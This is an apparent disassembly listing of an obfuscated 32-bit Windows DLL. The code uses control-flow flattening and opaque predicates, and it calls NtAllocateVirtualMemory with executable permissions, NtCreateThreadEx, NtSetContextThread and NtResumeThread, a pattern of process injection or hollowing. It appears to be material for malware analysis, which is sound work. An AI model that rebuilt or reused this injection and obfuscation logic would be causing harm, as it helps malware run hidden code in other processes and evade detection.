call sub.ntdll.dll_NtResumeThread
mov ecx, dword [0x10071688]
mov eax, dword [0x10071684]
mov edx, ecx
add edx, 0x91057b79
sub edx, 1
sub edx, 0x91057b79
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb2fe31af
mov ecx, 0xee64964d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov eax, dword [ebp - 0x148]
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov ecx, dword [0x10071688]
mov eax, dword [0x10071684]
mov edx, ecx
add edx, 0xaec5e69c
sub edx, 1
sub edx, 0xaec5e69c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x435cfe67
mov ecx, 0x11288df4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov eax, dword [ebp - 0x14]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x10071688]
mov ecx, dword [0x10071684]
mov edx, eax
add edx, 0x6836e594
sub edx, 1
sub edx, 0x6836e594
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe47e4496
mov ecx, 0xb8fb866b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov eax, dword [0x10071688]
mov ecx, dword [0x10071684]
mov edx, eax
sub edx, 0x820d17c
sub edx, 1
add edx, 0x820d17c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf1436a
mov ecx, 0xdbe3b86f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10012280
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x160], 0x3648512c
jmp 0x1001105b
mov eax, dword [ebp - 0xb0]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0x12c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x148]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x134]
mov eax, dword [ebp - 0x130]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov ecx, eax
mov eax, dword [ebp - 0x128]
mov dword [eax], ecx
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x160], 0x6b96edd9
jmp 0x1001105b
mov eax, dword [0x10071688]
mov ecx, dword [0x10071684]
mov edx, eax
add edx, 0xb16131e6
sub edx, 1
sub edx, 0xb16131e6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6e6a44a3
mov ecx, 0xccba8709
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov eax, dword [ebp - 0x100]
mov eax, dword [ebp - 0x48]
mov ecx, dword [0x10071688]
mov eax, dword [0x10071684]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9e979434
mov ecx, 0xec1b7a11
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov dword [ebp - 0x160], 0x9400c069
jmp 0x1001105b
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x160], 0x9dfff905
jmp 0x1001105b
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x20]
add ecx, 0xaad28d15
sub ecx, eax
sub ecx, 0xaad28d15
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov eax, dword [ebp - 0x134]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
add ecx, 0xa43c7547
add ecx, eax
sub ecx, 0xa43c7547
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x148]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xe4]
xor esi, esi
sub esp, 0x2c
mov dword [esp], edx
mov dword [esp + 4], 0x20000000
mov dword [esp + 8], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call sub.ntdll.dll_NtCreateThreadEx
mov eax, dword [ebp - 0xf0]
mov ecx, dword [eax]
add ecx, 4
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov eax, dword [0x10071688]
mov ecx, dword [0x10071684]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x35b919ce
mov ecx, 0x8f7b25b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov eax, dword [ebp - 0x148]
mov ecx, dword [eax + 4]
mov eax, dword [ebp - 0x18]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0x148]
mov eax, dword [eax + 4]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
mov dword [ebp - 0x160], 0x804731b6
jmp 0x1001105b
mov dword [ebp - 0x160], 0x38023d58
jmp 0x1001105b
mov dword [ebp - 0x160], 0x7dd7497e
jmp 0x1001105b
mov eax, dword [ebp - 0x134]
mov dword [eax], 0
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x160], 0x270a9cd8
jmp 0x1001105b
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x160], 0x50464a5c
jmp 0x1001105b
mov dword [ebp - 0x160], 0x8b3fd574
jmp 0x1001105b
mov dword [ebp - 0x160], 0x9374f4b9
jmp 0x1001105b
mov dword [ebp - 0x160], 0xc3ef9218
jmp 0x1001105b
mov dword [ebp - 0x160], 0x367219ba
jmp 0x1001105b
mov eax, dword [ebp - 0x100]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x160], 0x824f6b66
jmp 0x1001105b
jmp 0x1000974f